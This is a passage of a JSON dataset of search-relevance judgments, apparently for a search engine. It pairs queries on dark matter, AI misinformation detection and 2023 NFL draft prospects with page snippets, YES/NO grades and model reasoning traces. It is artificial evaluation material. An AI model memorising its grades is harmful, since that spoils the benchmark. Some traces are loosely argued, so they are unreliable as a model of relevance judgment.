                "text": "1. Introduction The theoretical discovery of the Second Flavor of Hydrogen Atoms (SFHA) in [1] was followed by the first experimental proof of their existence. Namely, the high-energy tail of the linear momentum distribution in the ground state of hydrogen atoms (the distribution being derived from the analysis of atomic experiments) was greater than the theoretical prediction for the usual hydrogen atoms by several orders of magnitude. The allowance for the SFHA eliminated this huge discrepancy [1]. The second piece of experimental evidence of the existence of the SFHA was obtained by analyzing experiments on charge exchange during collisions of low-energy protons with hydrogen atoms [2]. Namely, the allowance for the SFHA brought the corresponding theoretical cross-sections into agreement with the experiments within the experimental error margins. The proven existence of the SFHA has importance for atomic physics in its own right. However, it has also turned out to have significant astrophysical consequences, including for the most fundamental problem of cosmology: finding out what dark matter is, as explained below. Bowman et al. [3] reported a perplexing observation of the redshifted 21 cm spectral line from the early Universe. The absorption signal turned out to be about two times more intense than expected from the standard cosmology, thus indicating an additional cooling of the primordial hydrogen gas. Barkana [4] suggested that the additional cooling was due to collisions with some unspecified dark matter particles. In [5], it was demonstrated that, if the additional cooling was caused by collisions with the SFHA, this huge discrepancy would be removed. This outcome suggested the SFHA as a candidate for dark matter. Jeffrey et al. [6] reported that the observed distribution of dark matter in the Universe was found to be smoother than the predictions based on Einstein\u2019s gravitation. This puzzle induced suggestions that new physical laws are needed: a non-Einsteinian gravity. However, in [7], it was shown t",
                "model_trace": "Query Decomposition:\n1. {new scientific study}: The document discusses recent experimental evidence and theoretical findings, making it a new scientific study -> ([1], SATISFIED)\n2. {dark matter discovery}: The document suggests the Second Flavor of Hydrogen Atoms (SFHA) as a candidate for dark matter, which aligns with the query's focus on dark matter discovery -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied, making the document relevant and useful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Dark Matter News - ScienceDaily",
                "url": "https://www.sciencedaily.com/news/space_time/dark_matter/",
                "published_date": null,
                "text": "Quantum Heat Pump: A New Measuring Tool for Physicists \n\tAug. 26, 2022 \u2014 Physicists have built a quantum scale heat pump made from particles of light. This device brings scientists closer to the quantum limit of measuring radio frequency signals, useful in for example the ... \n\t\t Signs of Disturbance in Nearby Dwarf Galaxies Indicate an Alternative Gravity Theory \n\tAug. 5, 2022 \u2014 According to the standard model of cosmology, the vast majority of galaxies are surrounded by a halo of dark matter particles. This halo is invisible, but its mass exerts a strong gravitational pull ... \n\t\t Scientists Reveal Distribution of Dark Matter Around Galaxies 12 Billion Years Ago -- Further Back in Time Than Ever Before \n\tAug. 1, 2022 \u2014 Using Cosmic Microwave Background (CMB) radiation instead of visible light allows scientists to determine the distribution of dark matter several billion years earlier than previously ... \n\t\t Halos and Dark Matter: A Recipe for Discovery \n\tJuly 22, 2022 \u2014 About three years ago, a team of astronomers went looking for the universe's missing mass, better known as dark matter, in the heart of an atom. Their expedition didn't lead them to dark ... \n\t\t Shedding New Light on Dark Matter \n\tJuly 6, 2022 \u2014 A team of physicists has developed a method for predicting the composition of dark matter -- invisible matter detected only by its gravitational pull on ordinary matter and whose discovery has been ... \n\t\t Gemini North Spies Ultra-Faint Fossil Galaxy Discovered on Outskirts of Andromeda \n\tJune 30, 2022 \u2014 An unusual ultra-faint dwarf galaxy has been discovered on the outer fringes of the Andromeda Galaxy thanks to the sharp eyes of an amateur astronomer. Follow-up by professional astronomers revealed ... \n\t\t Physicists Confront the Neutron Lifetime Puzzle \n\tJune 28, 2022 \u2014 To solve a long-standing puzzle about how long a neutron can 'live' outside an atomic nucleus, physicists entertained a wild but testable theory positing the existence of a right-handed ... \n\t\t NASA Telescope to Help Untangle Galaxy Gro",
                "model_trace": "Query Decomposition:\n1. {new scientific study}: The document contains multiple recent scientific studies, with the latest one dated August 26, 2022 -> ([1], SATISFIED)\n2. {on dark matter discovery}: The document includes several studies related to dark matter, such as the distribution of dark matter around galaxies and methods for predicting the composition of dark matter -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by providing recent scientific studies specifically related to dark matter discoveries. YES."
            },
            {
                "grade": "NO",
                "title": "Shining a Light on Dark Matter - NASA Science",
                "url": "https://science.nasa.gov/mission/hubble/science/science-highlights/shining-a-light-on-dark-matter/",
                "published_date": null,
                "text": "More than 80% of the universe is made of stuff we have never seen. These ghostly forms of energy and matter are only detectable by the effects they have on the stuff we can see. The invisible form of matter, called dark matter, makes up roughly 30% of the universe\u2019s total mass. Its gravity drives normal matter (gas and dust) to collect and build up into stars, galaxies, and massive galaxy clusters. Although astronomers cannot see dark matter, they can detect its influence by observing how its gravity bends and distorts light from more-distant objects, a phenomenon called gravitational lensing.\u00a0   By looking at the area around massive galaxy clusters, which contain both normal and dark matter, astronomers can identify warped background galaxies gravitationally lensed by the cluster and reverse-engineer their distortions. Mathematical models of these results shed light on the location and properties of the densest concentrations of matter in the cluster, both visible (normal) and invisible (dark). The universe appears to have about five times more dark matter than regular matter, and its structure may center on an immense network of dark matter filaments that stretch between galaxies and grow over time. Areas where concentrations of these filaments intersect also hold massive visible structures like galaxy clusters.\u00a0   Because these elusive filaments are so hard to find, astronomers have turned to similar forms on Earth for clues of where to look. A single-celled slime mold, called Physarum polycephalum, builds complex filamentary networks in search of food, finding near-optimal pathways to connect different locations. Astronomers using Hubble data designed a computer algorithm inspired by the slime mold\u2019s behavior, to simulate the growth of dark matter filaments. The simulation resulted in a three-dimensional computer model of estimated locations of the cosmic web\u2019s filamentary structure.\u00a0\u00a0   Hubble e-book Hubble Focus: Dark Universe Hubble Focus is a series of e-books that dive deeper into specific topics in astr",
                "model_trace": "Query Decomposition:\n1. {new scientific study}: The document discusses ongoing research and methods used to study dark matter, but it is not clear if it is based on a new scientific study -> ([2], UNSURE)\n2. {dark matter discovery}: The document provides detailed information on how dark matter is studied and discusses various methods and findings related to dark matter, but it does not mention a specific new discovery -> ([2], UNSURE)\n\nAssessment: The document provides valuable information on dark matter and the methods used to study it, which could be useful to someone interested in dark matter research. However, it does not clearly indicate that it is about a new scientific study or a specific new discovery. Thus, it does not fully satisfy the user's query for a new scientific study on dark matter discovery. NO."
            },
            {
                "grade": "YES",
                "title": "Clemson astrophysicist's research could provide a hint in the search ...",
                "url": "https://news.clemson.edu/clemson-astrophysicists-research-could-provide-a-hint-in-the-search-for-dark-matter/",
                "published_date": null,
                "text": "Photo credit: NASA, ESA, and D. Coe (NASA JPL/Caltech and STScI)\n    Download image  \n \nDark matter is one of science\u2019s greatest mysteries.\nIt doesn\u2019t absorb, reflect or emit light, so we can\u2019t see it. But its presence is implied by the gravitational effects it appears to have on galaxies.\nAlthough dark matter\u00a0\u00a0makes up about 85 percent of the cosmos, scientists know very little about its fundamental nature.\nTheories\nTheories abound, and research by Clemson University postdoctoral fellow Alex McDaniel provides some of the most stringent constraints on the nature of dark matter yet.\nHis research also reveals a small hint of a signal that, if real, could be confirmed sometime in the next decade or so.\n\u201cWith data collection and new discoveries in the future, this small hint could potentially turn into a very concrete detection of a dark matter model,\u201d McDaniel said.\nDetecting dark matter would be groundbreaking.\n\u201cDark matter is one of the most important things in astrophysics, and we know next to nothing about it. Discovering it will be a tremendous breakthrough,\u201d said Marco Ajello, an associate professor in the Clemson Department of Physics and Astronomy and McDaniel\u2019s adviser. \u201cWhoever discovers may win a Nobel Prize. It\u2019s that big.\u201d\n Alex McDaniel, a postdoctoral fellow in the Clemson University Department of Physics and Astronomy, and Marco Ajello, associate professor in that same department. \nDwarf galaxies\nIn this work, McDaniel and collaborators were searching dwarf galaxies for dark matter that self-annihilates into ordinary matter and gamma rays, a form of light at the highest energy levels. Dwarf galaxies are ideal for study because they are small, rich in dark matter and mostly lack other astrophysics phenomena such as gas, dust and supernova that could contaminate the findings.\n\u201cWe look for these because, ideally, they give us a clean signal or allow us to rule out certain particle theories,\u201d McDaniel said.\nSome models predict that dark matter has a certain mass or cross section,\u00a0which is the probability",
                "model_trace": "Query Decomposition:\n1. {new scientific study}: The document discusses recent research conducted by a Clemson University postdoctoral fellow, indicating it is a new scientific study -> ([1], SATISFIED)\n2. {dark matter discovery}: The document talks about research providing stringent constraints on the nature of dark matter and hints at a potential signal that could lead to a concrete detection in the future -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied. The document discusses a new scientific study related to dark matter and hints at a potential discovery. YES."
            }
        ]
    },
    {
        "query": "recent research on using AI to automatically detect and classify online misinformation",
        "grid_pos": [
            0,
            0
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "These queries cover a range of technical topics that require a deep understanding of the latest research in computer science, social science, chemistry, and logistics. They are specific and detailed, drawing on specialized domain knowledge, yet still representative of the kinds of queries a user might plausibly submit to a search engine like Exa. The queries test Exa's ability to parse complex natural language, identify relevant scientific publications, and provide summaries of the latest advancements in these active research areas."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Machine Learning Can Help Detect Misinformation Online",
                "url": "https://www.rand.org/pubs/research_reports/RRA519-1.html",
                "published_date": "2020-06-23",
                "text": "Skip to page content\n\nObjective Analysis. Effective Solutions.\n\nToggle Menu\n\nSite-wide navigation\n\nAbout RAND\n\nRAND at a Glance \n Diversity, Equity, and Inclusion \n RAND History \n Leadership \n Organizational Structure \n Contacts \n Locations \n Quality Standards \n Educational Opportunities \n Events\n\nRAND Campaign \n Press Room \n Careers\n\nResearch\n\nResearch Areas \n Children, Families, and Communities Cyber and Data Sciences Education and Literacy Energy and Environment Health, Health Care, and Aging Homeland Security and Public Safety Infrastructure and Transportation International Affairs Law and Business National Security and Terrorism Science and Technology Social Equity Workers and the Workplace\n\nResearch Divisions\n\nRAND Army Research Division \n RAND Australia \n RAND Education and Labor \n RAND Europe \n RAND Health Care \n RAND Homeland Security Research Division \n RAND National Security Research Division \n RAND Project AIR FORCE \n RAND Social and Economic Well-Being\n\nFeatured Research Activities\n\nRAND International\n\nCenter for Asia Pacific Policy \n Center for Global Risk and Security \n Center for Middle East Public Policy \n Center for Russia and Eurasia\n\nRAND Gulf States Policy Institute\n\nResearch Departments\n\nLatest Insights\n\nReports\n\n/content/admin/rand-header/jcr:content/par/header/reports\n\nBlog Posts\n\n/content/admin/rand-header/jcr:content/par/header/blogPosts\n\nPolicy Experts\n\nBy Research Area\n\nChildren, Families, and Communities Cyber and Data Sciences Education and Literacy Energy and Environment Health, Health Care, and Aging Homeland Security and Public Safety Infrastructure and Transportation International Affairs Law and Business National Security and Terrorism Science and Technology Social Equity Workers and the Workplace\n\nCapabilities \n Drawing upon decades of experience, RAND provides research services, systematic analysis, and innovative thinking to a global clientele that includes government agencies, foundations, and private-sector firms.\n\nGraduate School\n\nStudent Spotlight\n\nElisa Yoshiara \nPh.D. S",
                "model_trace": "Query Decomposition:\n1. {recent research}: The document was published in 2020, which is somewhat recent but not the latest -> ([1], UNSURE)\n2. {using AI}: The title mentions machine learning, which is a subset of AI -> ([1], SATISFIED)\n3. {automatically detect and classify online misinformation}: The title indicates that the document is about detecting misinformation online using machine learning -> ([1], SATISFIED)\n\nAssessment: The document satisfies the key subcomponents related to using AI to detect and classify online misinformation. The publication date being from 2020 makes it somewhat recent, though not the latest. Given the context and the content provided, it appears to be a useful document for the query. YES."
            },
            {
                "grade": "YES",
                "title": "Defending Democracy: Using Deep Learning to Identify and Prevent Misinformation",
                "url": "https://arxiv.org/pdf/2106.02607v1.pdf",
                "published_date": "2021-06-03",
                "text": "Defending Democracy: Using Deep Learning to Identify and Prevent Misinformation\n\nAnusua Trivedi \nAnusua Trivedi Microsoft\nAlyssa Suhm Microsoft\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\n\nAlyssa Suhm v-alsuhm@microsoft.com \nAnusua Trivedi Microsoft\nAlyssa Suhm Microsoft\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\n\nPrathamesh Mahankal \nAnusua Trivedi Microsoft\nAlyssa Suhm Microsoft\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\n\nSubhiksha Mukuntharaj \nAnusua Trivedi Microsoft\nAlyssa Suhm Microsoft\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\n\n\u00b7 Meghana \nAnusua Trivedi Microsoft\nAlyssa Suhm Microsoft\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\n\nD Parab \nAnusua Trivedi Microsoft\nAlyssa Suhm Microsoft\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\n\nMalvika Mohan \nAnusua Trivedi Microsoft\nAlyssa Suhm Microsoft\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\n\nMeredith Berger meredith.berger@microsoft.com \nAnusua Trivedi Microsoft\nAlyssa Suhm Microsoft\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\n\nArathi Sethumadhavan arathi.sethumadhavan@microsoft.com \nAnusua Trivedi Microsoft\nAlyssa Suhm Microsoft\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\n\nAshish Jaiman ashish.jaiman@microsoft.com \nAnusua Trivedi Microsoft\nAlyssa Suhm Microsoft\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\n\nRahul Dodhia radodhia@microsoft.com \nAnusua Trivedi Microsoft\nAlyssa Suhm Microsoft\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\nUniversity of Washington\n\nPrathamesh Mahankal \nAnu",
                "model_trace": "Query Decomposition:\n1. {recent research}: The document was published in 2021, which is relatively recent -> ([1], SATISFIED)\n2. {using AI to automatically detect and classify online misinformation}: The title \"Defending Democracy: Using Deep Learning to Identify and Prevent Misinformation\" suggests that the document is about using AI (specifically deep learning) to detect and classify misinformation -> ([1], SATISFIED)\n\nAssessment: Both subcomponents that can be evaluated with the provided document information are satisfied. The document appears to be a research paper specifically focused on using AI to detect and classify misinformation, which aligns well with the query.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Classification of unlabeled online media - Scientific Reports",
                "url": "https://www.nature.com/articles/s41598-021-85608-5",
                "published_date": "2021-03-25",
                "text": "Abstract This work investigates the ability to classify misinformation in online social media networks in a manner that avoids the need forground truth labels. Rather than approach the classification problem as a task for humans or machine learning algorithms, thiswork leverages user-user and user-media (i.e.,media likes) interactions to infer the type of information (fake vs. authentic) beingspread, without needing to know the actual details of the information itself. To study the inception and evolution of user-userand user-media interactions over time, we create an experimental platform that mimics the functionality of real world socialmedia networks. We develop a graphical model that considers the evolution of this network topology to model the uncertainty(entropy) propagation when fake and authentic media disseminates across the network. The creation of a real-world socialmedia network enables a wide range of hypotheses to be tested pertaining to users, their interactions with other users, andwith media content. The discovery that the entropy of user-user, and user-media interactions approximates fake and authenticmedia likes, enables us to classify fake media in an unsupervised learning manner.",
                "model_trace": "Query Decomposition:\n1. [recent research]: The document was published in 2021, which is relatively recent -> ([1], SATISFIED)\n2. [using AI]: The document discusses the use of machine learning algorithms and graphical models, which are components of AI -> ([1], SATISFIED)\n3. [automatically detect and classify online misinformation]: The document specifically addresses the classification of misinformation in online social media networks -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES"
            },
            {
                "grade": "NO",
                "title": "Artificial Intelligence in Automated Detection of Disinformation - MDPI",
                "url": "https://www.mdpi.com/2673-5172/4/2/43",
                "published_date": null,
                "text": "1. Introduction The era of smartphones and social media has revolutionized the way content is transmitted and received, but not all of this content is accurate or truthful. The widespread use of the Internet and social media platforms has led to a significant increase in the prevalence of misleading information, known as disinformation. It is easily accessible and spreads rapidly in these digital environments. In this article, we consider the definition of disinformation from the European Commission: \u201cfalse, inaccurate, or misleading information designed, presented and promoted to intentionally cause public harm or for profit\u201d (De Cock Buning 2018, p. 10). Disinformation, disguised as factual information, creates a distorted understanding of reality, leading to severe consequences for society by distorting people\u2019s perceptions of various issues. Political and health matters are particularly vulnerable to disinformation, as seen during the COVID-19 pandemic, during which false information spread rapidly through social media. However, disinformation can affect various areas by disseminating false knowledge about reality. Although the phenomenon of disinformation gained significant attention during the 2016 US election campaigns, it has taken on a new dimension since 2020. The COVID-19 pandemic highlighted the critical importance of reliable and fact-based information for decision-making across all aspects of society, emphasizing its role as a fundamental pillar of democracy (Grizzle et al. 2021). Disinformation not only poses challenges to discerning truthful information but also undermines journalistic credibility. It represents a significant obstacle to journalism as a means of knowledge production in society. Technological advancements, especially in artificial intelligence (AI), have not only increased the spread of disinformation but have also facilitated its automated creation and distribution. Consequently, the use of AI in disinformation creation and dissemination poses a significant challenge to the reliab",
                "model_trace": "Query Decomposition:\n1. {recent research}: The document does not provide a specific publication date, so it's unclear if it is recent -> ([0], UNSURE)\n2. {using AI to automatically detect and classify online misinformation}: The document discusses the role of AI in the context of disinformation, including automated creation and distribution, but it is unclear if it specifically covers detection and classification -> ([1], UNSURE)\n\nAssessment: The relevant subcomponent is {using AI to automatically detect and classify online misinformation}. The document discusses AI in the context of disinformation but does not clearly indicate that it covers detection and classification specifically. Therefore, this subcomponent is UNSURE. Since the key subcomponent is not satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "AI and Misinformation - 2024 Dean's Report",
                "url": "https://2024.jou.ufl.edu/page/ai-and-misinformation",
                "published_date": null,
                "text": "By Jieun Shin, Assistant Professor, Media Production, Management, and Technology         AI and Misinformation By Jieun Shin, Assistant Professor, Media Production, Management, and Technology         AI and Misinformation By Jieun Shin, Assistant Professor, Media Production, Management, and Technology        \u200d    Jieun Shin  Misinformation and disinformation have emerged as a serious issue in the 21st century. Although the problem of false information has existed since the dawn of human civilization, artificial intelligence (AI) is exacerbating these challenges. AI tools make it easy for anyone to create fake images and news that are hard to distinguish from accurate information. From elections to wars, those with ill intentions can mass-produce and disseminate propaganda on social media.\u00a0 According to NewsGuard, which tracks fake news sites, the number of AI-enabled fake news sites increased tenfold in 2023. These sites are operated by little or no human supervision.\u00a0 This does not mean that we are defenseless. Researchers, tech companies, and governments are collaborating to fight AI-powered misinformation with AI technology. Platform companies partner with professional fact-checkers and content moderators to tag fake information and use it to detect misinformation early in the diffusion stage. Previous research shows that during the COVID-19 pandemic, this early detection and filtering approach significantly reduced exposure to misinformation. Social scientists are gathering evidence to identify fabricated information and explain what makes a true statement and who spreads which information.\u00a0\u00a0 In addition to automatically detecting fake news and images, the need for greater media literacy is becoming increasingly important. Media literacy emphasizes critical skills and mindsets required for navigating the digital space. Media literacy programs also offer techniques to quickly spot fake imagery or resources to track down the original source of questionable information. My recent projects investigated whether me",
                "model_trace": "Query Decomposition:\n1. {recent research}: The document mentions recent projects and research by Jieun Shin, an Assistant Professor -> ([1], SATISFIED)\n2. {using AI to automatically detect and classify online misinformation}: The document discusses how AI is used to detect misinformation, including collaboration between researchers, tech companies, and governments to fight AI-powered misinformation with AI technology -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Systematic meta-analysis of research on AI tools to deal ... - Nature",
                "url": "https://www.nature.com/articles/s41599-023-01838-0",
                "published_date": null,
                "text": "Introduction  Fake news is old news: different forms of misinformation have occurred repeatedly throughout history (Novaes and de Ridder, 2021). Nevertheless, the impact of different communication technologies on content, production, distribution, and consumption of misinformation\u2014and hence, its dissemination\u2014has changed over history (Posetti and Matthews, 2018). In the age of social media, misinformation spreads at a fast pace: the pervasive nature of misinformation in the digital age is being reinforced by both technical and socio-psychological factors (Dallo et al., 2022). The speed of diffusion influences the amplitude of negative impacts which, because of their cascading effects, can be exponential in the context of disasters (McGee et al., 2016). The COVID-19 \u201cinfodemic,\u201d as the World Health Organization (2022, p. 1) defines it, had various negative impacts; these include psychological consequences (such as anxiety, depression, or post-traumatic stress disorder), reduced trust in public authorities and health institutions, adoption of inadequate protective measures by the population, and increased purchases of medical supplies and other products which stresses on the market (Pian et al., 2021). Misinformation can also occur in relation to natural disasters; for instance, during and after the Hurricane Irma disaster which hit the Caribbean in September 2017, several rumors spread, among others, fake news concerning the number of deaths on the French territory of Saint Martin. According to the rumors, there were between over 100 and over 1000 dead, while the real death toll was 11. This fake news continued to circulate for more than a year, negatively impacting the territory\u2019s social cohesion and post-hurricane reconstruction (Moatty et al., 2019). In the last two years, numerous studies have been carried out to develop artificial intelligence (AI) tools that can deal with misinformation in risk management contexts that require a very fast response. The very recent and fast development of research efforts on ",
                "model_trace": "Query Decomposition:\n1. [recent research]: The document mentions \"numerous studies\" carried out in the last two years, indicating recent research -> ([1], SATISFIED)\n2. [using AI]: The document specifically mentions \"artificial intelligence (AI) tools\" -> ([1], SATISFIED)\n3. [automatically detect and classify online misinformation]: The document refers to AI tools developed to deal with misinformation, which likely includes detection and classification -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. YES"
            }
        ]
    },
    {
        "query": "nfl draft top prospect players 2023",
        "grid_pos": [
            0,
            1
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: News",
        "reasoning_trace": [
            "1. \"breaking news on supreme court case roe v wade\" - This query requires knowledge of the recent Supreme Court decision overturning the Roe v. Wade case, which had established a constitutional right to abortion in the United States. Evaluating this query well would require understanding the legal and political implications of this decision, as well as being up-to-date on the ongoing news and reactions surrounding it.\n\n2. \"nfl draft top prospect players 2023\" - This query relates to the upcoming NFL draft, and would require knowledge of the top college football players who are eligible to be drafted, their strengths, weaknesses, and projected draft positions. Answering this well would necessitate familiarity with the NFL draft process and the scouting/evaluation of college talent.\n\n3. \"latest updates on AI model GPT-4\" - This query is about the latest developments in artificial intelligence, specifically the rumored next-generation GPT language model from OpenAI. Properly responding would demand knowledge of the current state of large language models, their capabilities, and any recent announcements or breakthroughs related to GPT-4.\n\n4. \"new scientific study on dark matter discovery\" - This query is about a recent scientific discovery related to the elusive dark matter, which makes up a significant portion of the universe but has proven difficult to observe and study directly. Answering this well would require familiarity with the latest research and theories in cosmology and particle physics.\n\n5. \"current events on ukraine russia conflict\" - This query is about the ongoing war between Ukraine and Russia, which has been a major global news story for the past year. Properly addressing this query would necessitate up-to-date knowledge of the military situation, diplomatic efforts, humanitarian impacts, and geopolitical implications of this conflict."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Joshua Ezeudu Stats, News and Video - G | NFL.com",
                "url": "https://www.nfl.com/players/joshua-ezeudu/",
                "published_date": "2023-01-01",
                "text": "Skip to main content\n Open menu button\n Primary nav\n * News\n * Scores\n * Schedule\n * Videos\n * Teams\n * Players\n * Stats\n * Standings\n * Super Bowl\n * \n + NFL Films\n + Salute to Service\n + Community\n + Por la Cultura\n + Inspire Change\n + HBCU\n + Ways to Watch\n + Photos\n + En Espa\u00f1ol\n\n* \n * NFL Network\n * Fantasy\n * Tickets\n * Travel\n * Shop\n * Sign In\n * NFL Shop\n * NFL+\n Action related nav\n\n* \n * NFL Network\n * Fantasy\n * Tickets\n * Travel\n * Shop\n * Sign In\n * Players\n * Injuries\n * Transactions\n * Health & Safety\n\nJoshua Ezeudu Stats, News and Video - G | NFL.com\n\nJoshua Ezeudu\n\nG \u2022 #75\n * Info\n * Stats\n Advertising\n\nPlayer Info\n\n* Height\n 6-4\n * Weight\n 308\n * Arms\n 34\n * Hands\n 9 1/2\n * Experience\n 0\n * College\n North Carolina\n * Age\n 23\n * Hometown\n Lawrenceville, GA\n\nRelated Content - Articles\n\nnews\n\nNFL news roundup: Latest league updates from Tuesday, Nov. 29\n\nNFL.com keeps you up to date with all of the latest league news from around the NFL. Visit NFL.com's transaction hub for a daily breakdown.\n\nnews\n\n2022 NFL Draft: Ranking favorite picks in every round\n\nThe Commanders might have found their future starting QB when they took Sam Howell in Round 5 -- but he wasn't the only potential gem in the 2022 NFL Draft. Chad Reuter ranks his favorite picks in each round.\n\nRelated Content - Videos\n\nvideo\n\nJeremiah, Davis, Schrager evaluate Giants' 2022 draft class\n\nNFL Network's Daniel Jeremiah, Charles Davis, and Peter Schrager evaluate the New York Giants' 2022 draft class.\n\nvideo\n\nJudy Batista on Giants' selection of Joshua Ezeudu at No. 67 overall | 'NFL Draft Center'\n\nNFL Network's Judy Batista details New York Giants selection of Joshua Ezeudu at No. 67 overall | 'NFL Draft Center'\n\nvideo\n\nGiants select Joshua Ezeudu with No. 67 pick in 2022 draft\n\nThe New York Giants select North Carolina Tar Heels offensive guard Joshua Ezeudu in Round 3 of the 2022 NFL Draft with the No. 67 overall pick.\n\nvideo\n\nJoshua Ezeudu's 2022 NFL Scouting Combine workout\n\nWatch highlights from University of North Carolina OL Joshu",
                "model_trace": "Query Decomposition:\n1. {NFL draft}: The document is related to the NFL -> ([1], SATISFIED)\n2. {top prospect players}: The document is about a specific player, Joshua Ezeudu, and does not provide a list or information about top prospect players -> ([1], UNSATISFIED)\n3. {2023}: The document mentions the 2022 NFL Draft and does not cover the 2023 draft -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {NFL draft}, {top prospect players}, and {2023}. Since {top prospect players} and {2023} are not satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Florida State's 2023 NFL Draft prospects include Robert Scott Jr. and Akeem Dent",
                "url": "https://www.profootballnetwork.com/florida-states-2023-nfl-draft-prospects-include-robert-scott-jr-and-akeem-dent/",
                "published_date": "2022-05-24",
                "text": "The Florida State prospects in the 2023 NFL Draft may be incredibly numerous. In fact, this team looks a lot like those teams in the early 2010s that were stacked with talent on both sides of the ball in Tallahassee. It all starts up front with their quarterback, and ultimately, all falls on the shoulders of head coach Mike Norvell. Nevertheless, this is a roster that is built for success this season and far beyond.\nFlorida State prospects in the 2023 NFL Draft | Offense\nOn paper, this Florida State roster has a ton of players to know. Again, on paper, this is a roster that can compete with the best of the best. What their on-field performance looks like is a completely different aspect than what they\u2019ve put on paper in the past few seasons. But for our intents and purposes, we\u2019re attacking this on-paper roster with high hopes and optimism. As such, here are their top prospects ahead of the 2022 season with eyes on the 2023 NFL Draft.\nJordan Travis, QB\nAs stated, it all starts up front for the Seminoles. And it all starts with Jordan Travis at quarterback. The athletic signal-caller took big strides a season ago, mainly down the stretch where he proved he could make accurate passes to every level of the field. Travis is a threat with the ball in his hands on the ground, but proving he can make tight-window throws and continually throwing his receivers open on the boundary will go a long way for their season and his ultimate NFL ceiling. There\u2019s a lot to like in Travis\u2019 game.\nTreshaun Ward, RB\nEven with Jashaun Cobin handling the majority of the carries a season ago, Treshaun Ward was arguably the most impressive Seminole running back. Ward\u2019s unique skill set is ready for a breakout season as he has plenty of elusiveness mixed with power in his game. He averaged over 6.5 yards per carry a season ago and really came on in the receiving game at times.\nTrey Benson, RB\nLocal fans know but the national college football audience will be awoken to Trey Benson\u2019s game this season. The Oregon transfer has it all: vision, co",
                "model_trace": "Query Decomposition:\n1. {NFL draft}: This document is about NFL draft prospects -> ([1], SATISFIED)\n2. {top prospect players}: This document lists specific players from Florida State who are prospects for the 2023 NFL draft, but it is not clear if they are top prospects overall -> ([2], UNSURE)\n3. {2023}: This document is focused on the 2023 NFL draft -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {NFL draft} and {2023}, both of which are satisfied. The document provides information about specific players from Florida State, but it is unclear if they are top prospects in the broader context of the entire draft. However, since it does provide detailed information about potential top prospects from a specific team, it may still be useful to the user.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Pittsburgh's 2023 NFL Draft prospects include Kedon Slovis and Calijah Kancey",
                "url": "https://www.profootballnetwork.com/2023-nfl-draft-pittsburgh-prospects/",
                "published_date": "2022-05-26",
                "text": "After Kenny Pickett was the lone quarterback selected in the first round of this past season\u2019s draft, we\u2019re here again talking about another Pittsburgh QB prospect for the 2023 NFL Draft. Whether or not Kedon Slovis follows in Pickett\u2019s footsteps is not out of the question. The bigger question is, where does Slovis fit into this absolutely stacked 2023 QB class?\nPittsburgh prospects in the 2023 NFL Draft\nAs good as Slovis was at times at USC, he\u2019s now transferred to greener pastures following the outing of Clay Helton and the insertion of Lincoln Riley in LA. Slovis joins a cast of defensive characters that rival any defense in the country and stands behind a talented offensive line. But with Jordan Addison\u2019s transfer, will Slovis have enough weapons to throw to? Let\u2019s go through position by position with eyes toward all of Pitt\u2018s potential 2023 NFL Draft prospects.\nKedon Slovis, QB\nThere\u2019s an untapped potential in Slovis\u2019 game. He was able to showcase it at times during his USC tenure. But at others, he was held within the confines of an incredibly simplified, QB-friendly offense that saw him lower his average yards per attempt in each consecutive season. When Slovis was forced to air the ball out \u2014 most notably in games they were trailing \u2014 good results followed. This Pittsburgh offense is an offense that should allow more freedom to create for Slovis. As such, he could return to that fabulous freshman form that saw him light defenses on fire.\nIsrael Abanikanda, RB\nWhen it comes to Israel Abanikanda, there is no denying his speed. The former 100-meter New York Mayor Cup gold medalist, Abanikanda brings his track speed to the football field with effortless precision. He loses no speed in his breaks and leaves defenders in his wake. Abanikanda has also proven to be able to take games over \u2014 just watch the Virginia Tech game a season ago. Continuing to factor heavily into the receiving game will do wonders for his draft stock.\nJared Wayne, WR\nSet to receive a massive target boost, Jared Wayne is now Pittsburgh\u2019s l",
                "model_trace": "Query Decomposition:\n1. {nfl draft}: This document is about NFL draft prospects -> ([1], SATISFIED)\n2. {top prospect players}: This document discusses specific players from Pittsburgh who are prospects for the NFL draft, but it does not necessarily indicate if they are top prospects overall -> ([2], UNSURE)\n3. {2023}: This document is specifically about the 2023 NFL Draft -> ([1], SATISFIED)\n\nAssessment: The document clearly addresses NFL draft prospects for 2023, but it is not clear if the players mentioned are considered top prospects overall. Since the subcomponent {top prospect players} is tagged with [2] and is UNSURE, it does not affect the evaluation. The relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Daniel Jeremiah's top 150 prospects in the 2023 NFL Draft",
                "url": "https://www.nfl.com/news/best-prospects-available-in-the-2023-nfl-draft",
